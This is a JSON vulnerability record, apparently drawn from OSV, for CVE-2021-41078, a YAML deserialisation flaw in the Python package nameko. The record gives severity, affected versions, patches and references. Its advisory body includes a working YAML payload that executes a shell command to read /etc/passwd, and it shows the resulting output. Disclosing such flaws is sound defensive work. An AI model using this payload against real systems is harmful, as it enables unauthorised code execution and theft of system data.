{"id":"CVE-2021-41078","aliases":["GHSA-6p52-jr3q-c94g","PYSEC-2021-383"],"title":"Nameko Arbitrary code execution due to YAML deserialization","summary":"Nameko Arbitrary code execution due to YAML deserialization","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","vendor":"nameko","product":"nameko","ecosystem":"pip","affected":["nameko < 2.14.0","nameko >= 3.0.0rc0, < 3.0.0rc10"],"patched":["nameko 2.14.0","nameko 3.0.0rc10"],"published":"2021-10-19","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6p52-jr3q-c94g","references":[{"url":"https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078"},{"url":"https://github.com/nameko/nameko"},{"url":"https://github.com/nameko/nameko/releases/tag/v2.14.0"},{"url":"https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml"}],"tags":["osv","pip","exploit-available"],"epss":0.01537,"epssPercentile":0.73798,"ingestedAt":"2026-07-08T18:25:46.496Z","exploits":{"github":1,"githubRepos":["https://github.com/s-index/CVE-2021-41078"],"checkedAt":"2026-09-26T09:05:27.103Z"},"exploitAvailable":true,"slug":"CVE-2021-41078","body":"## Overview\n\n### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.\n\n## Affected packages\n\n- `nameko < 2.14.0`\n- `nameko >= 3.0.0rc0, < 3.0.0rc10`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nameko 2.14.0`\n- `nameko 3.0.0rc10`","depth":"midnight","depthScore":60,"depthScoreParts":{"impact":47.3,"likelihood":0.3,"exploitation":12,"ransomware":0},"changes":[{"seq":4540,"id":"CVE-2021-41078","ts":1788887189279,"field":"exploit_available","old":"false","new":"true"},{"seq":3423,"id":"CVE-2021-41078","ts":1788886306568,"field":"exploit_available","old":"true","new":"false"},{"seq":2278,"id":"CVE-2021-41078","ts":1788882976313,"field":"exploit_available","old":"false","new":"true"},{"seq":1307,"id":"CVE-2021-41078","ts":1788882388237,"field":"exploit_available","old":"true","new":"false"},{"seq":421,"id":"CVE-2021-41078","ts":1788881823488,"field":"exploit_available","old":"false","new":"true"}]}